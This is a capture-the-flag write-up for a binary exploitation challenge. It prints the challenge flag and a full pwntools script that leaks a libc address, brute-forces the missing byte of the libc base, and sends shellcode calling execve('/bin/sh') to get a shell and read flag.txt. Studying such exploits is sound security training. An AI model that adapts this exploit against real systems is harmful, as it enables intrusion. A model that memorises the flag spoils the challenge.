Description
Solution
I solved this challenge the same way I solved the Bad_trip challenge, in fact I used the same script, the intended solution was to load the libc address from the fs
register, but anyway if you’re interested to see the solution I used, you can read my detailed writeup here: Bad_trip.
Here’s the flag:
AKASEC{NoW_You_r34lly_H4V3_7o_pr3F37cH3M_li8C_4DDR5}
Full Script
from pwn import *
from random import randint
import logging
def start(argv=[], *a, **kw):
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else:
return process([exe] + argv, *a, **kw)
gdbscript = '''
init-pwndbg
'''.format(**locals())
exe = './the_absolute_horror_of_the_trip'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'warn'
libc = ELF("./libc.so.6", checksec=False)
binsh = next(libc.search(b"/bin/sh\x00"))
payload_header = asm(f'''
mov rsp, 0x6969696100;
mov rbp, 0x6969696120
mov rsi, 0;
mov rdx, 0;
''')
def generate_payload_body(base):
return asm(f'''
mov rdi, {hex(base + binsh)};
mov r11, {hex(base + libc.sym["execve"])};
call r11;''')
with log.progress('Tries', level=logging.WARN) as progress, \
log.progress('Current libc address', level=logging.WARN) as libc_address_progress:
tries = 0
b = 0x49 # selected random byte
while True:
io = start()
progress.status(tries)
tries += 1
leak = int(io.readline().strip().split(b' ')[-1], 16)
libc_address = (0x7f_00_00000000 + (b << 32) + leak) - libc.sym['puts']
libc_address_progress.status(hex(libc_address))
payload = payload_header + generate_payload_body(libc_address)
io.readuntil(b">>")
io.sendline(payload)
io.clean()
io.sendline(b'echo hello there, it is working')
try:
if len(io.recvuntil(b'working', timeout=1)) > 3:
break
except EOFError:
pass
io.close()
io.sendline(b"cat flag.txt")
result = io.clean()
if b'akasec' in result.lower() and b'}' in result:
print('-'*30)
print(f'Found flag: {result[:result.index(b"}")+1].decode()}')
io.interactive()